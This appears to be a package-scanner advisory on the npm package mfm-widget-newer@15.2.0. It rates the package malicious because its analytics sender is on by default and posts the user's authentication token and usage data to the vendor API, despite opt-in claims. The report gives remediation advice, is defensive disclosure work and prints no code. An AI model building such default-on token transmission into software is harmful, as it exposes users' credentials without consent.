Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. When the widget is rendered with an authentication token, its default-enabled analytics sender posts the token and usage metadata to the vendor API. The code's default conflicts with its claimed opt-in behavior. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 90.0% - **Started:** 2026-09-07T17:53:57.534Z - **Finished:** 2026-09-07T17:56:20.018Z - **Download time:** 503 ms - **Static scan time:** 1692 ms - **AI review time:** 140289 ms - **Total time:** 142484 ms The recorded confidence comes from the underlying analysis.

The code's default conflicts with its claimed opt-in behavior. - **Trigger:** Rendering and using the widget after a token is supplied. - **Impact:** A user token and associated organisation and usage data are disclosed to the remote endpoint without explicit opt-in. - **Evidence paths:** dist/chunks/widget-CNZuvRd2.js - **Review source:** ai\_review - **Reviewed:** 2026-09-07T17:56:20.018Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Default-enabled authenticated analytics transmission. - **Attack narrative:** The runtime analytics class starts enabled. Once the widget receives a token, tracked actions send a POST request containing the token in a request header plus an organisation identifier, persistent client identifier, event name, and event values. The preference reader enables analytics when no setting exists, despite UI text saying analytics is off by default. This creates an unconsented credential and telemetry disclosure path during normal widget use. - **Rationale:** The source establishes a default-on remote transmission of an authentication token and user-associated telemetry, not merely an inert network primitive. No lifecycle hook is needed for this runtime data-exfiltration behavior. - **Files touched:** dist/chunks/widget-CNZuvRd2.js - **Network endpoints:** https://api.mockforme.com/analytics/cli ### Review decision - **Verdict:** Malicious - **Confidence:** 90.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The widget initializes analytics as enabled and sends its stored token, organisation identifier, client ID, event name, and event values to the vendor API., An absent analytics preference is treated as enabled, so this transmission can occur without an explicit opt-in., The analytics UI claims it is off by default, contradicting the runtime default. - **Evidence against:** package.json has no install or lifecycle scripts., The reviewed JSON editor bundle is a UI dependency and did not show a separate outbound request path. ## Affected versions and remediation This report applies to mfm-widget-newer@15.2.0. - Avoid installing mfm-widget-newer@15.2.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.
